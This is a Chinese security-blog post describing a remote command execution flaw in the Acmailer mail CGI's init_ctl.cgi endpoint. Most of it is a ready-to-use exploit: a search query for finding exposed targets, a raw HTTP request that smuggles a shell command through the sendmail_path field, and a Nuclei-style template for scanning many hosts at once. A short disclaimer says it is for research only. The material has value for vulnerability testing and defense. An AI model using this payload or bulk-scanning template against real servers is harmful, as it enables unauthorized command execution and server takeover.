漏洞简介
Acmailer 是一款用于支持邮件服务的CGI软件。Acmailer邮件系统 init_ctl.cgi接口处远程命令执行,攻击者可通过此漏洞获取服务器权限。
漏洞复现
步骤一:使用以下搜索语法获取测试资产并确定测试目标~~~
# 搜索语法
body
=
"CGI acmailer"
步骤二:构造一下数据包发包执行命令并将结果记录在ceshi.txt
文件中...
POST
/init_ctl.cgi
HTTP/1.1
Host
: 127.0.0.1
User-Agent
: Mozilla/5.0
Connection
: close
Content-Length
: 150
Content-Type
: application/x-www-form-urlencoded
Accept-Encoding
: gzip
admin_name=u&admin_email=m
.m&login_id=l&login_pass=l&sendmail_path=|whoami >ceshi.txt | bash&homeurl=http:
//&mypath=e
步骤三:访问ceshi.txt
文件查看命令执行结果..测试大部分不出网
批量脚本
id
: Acmailer-RCE
info
:
name
:
Acmailer邮件系统 init_ctl.cgi接口处远程命令执行,攻击者可通过此漏洞获取服务器权限。
:
lY
severity
:
high
metadata
:
:
body="CGI acmailer"
variables
:
filename
:
"{{to_lower(rand_base(10))}}"
boundary
:
"{{to_lower(rand_base(20))}}"
http
:
raw:
|
POST
/init_ctl.cgi HTTP/1.1
Host
:
{{Hostname}}
:
Mozilla/5.0
Connection
:
close
:
150
:
application/x-www-form-urlencoded
:
gzip
admin_name
=
u&[email protected]&login_id=l&login_pass=l&sendmail_path=|id >{{filename}}.txt | bash&homeurl=http://&mypath=e
|
GET
/{{filename}}.txt HTTP/1.1
Host
:
{{Hostname}}
:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
matchers
:
type: dsl
dsl
:
status_code==200 && contains_all(body,"uid","gid")
原文始发于微信公众号(揽月安全团队):Acmailer邮件系统 init_ctl.cgi 远程命令执行
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论